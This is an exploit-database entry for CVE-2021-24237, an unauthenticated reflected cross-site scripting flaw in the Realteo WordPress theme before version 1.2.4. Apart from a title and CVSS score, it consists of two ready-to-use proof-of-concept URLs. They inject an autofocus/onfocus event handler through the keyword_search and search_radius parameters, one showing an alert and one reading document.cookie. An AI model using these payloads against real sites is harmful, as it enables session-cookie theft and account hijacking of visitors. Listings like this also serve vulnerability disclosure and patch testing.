Exploit for Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24237

Name: Exploit for Realteo < 1.2.4 - Unauthenticated Reflected Cross-Site Scripting (XSS) CVE-2021-24237
Rating: 5 (286 reviews)

2021-03-31 | CVSS 4.3

## https://sploitus.com/exploit?id=WPEX-ID:087B27C4-289E-410F-AF74-828A608A4E1E
https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(`m0ze`);//%22

https://example.com/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22&search_radius=--!%3E%22%20autofocus%20onfocus=alert(document.cookie);//%22